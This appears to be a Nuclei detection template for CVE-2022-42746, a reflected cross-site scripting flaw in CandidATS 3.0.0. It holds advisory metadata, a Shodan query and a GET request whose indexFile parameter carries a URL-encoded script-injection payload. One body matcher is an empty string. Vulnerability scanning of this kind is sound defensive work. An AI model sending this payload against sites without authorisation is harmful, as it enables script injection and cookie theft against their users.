id: CVE-2022-42746 info: name: CandidATS 3.0.0 - Cross-Site Scripting. author: arafatansari severity: medium description: | CandidATS 3.0.0 contains a cross-site scripting vulnerability via the indexFile parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://fluidattacks.com/advisories/modestep/ - https://nvd.nist.gov/vuln/detail/CVE-2022-42746 - https://candidats.net/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-42746 cwe-id: CWE-79 cpe: cpe:2.3:a:auieo:candidats:*:*:*:*:*:*:*:* epss-score: 0.0007 metadata: max-request: 1 shodan-query: http.html:"CandidATS" verified: true tags: cve,cve2022,candidats,xss http: - method: GET path: - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0' matchers-condition: and matchers: - type: word part: body words: - '' - 'candidat' condition: and - type: word part: header words: - text/html - type: status status: - 404 # Enhanced by md on 2022/12/13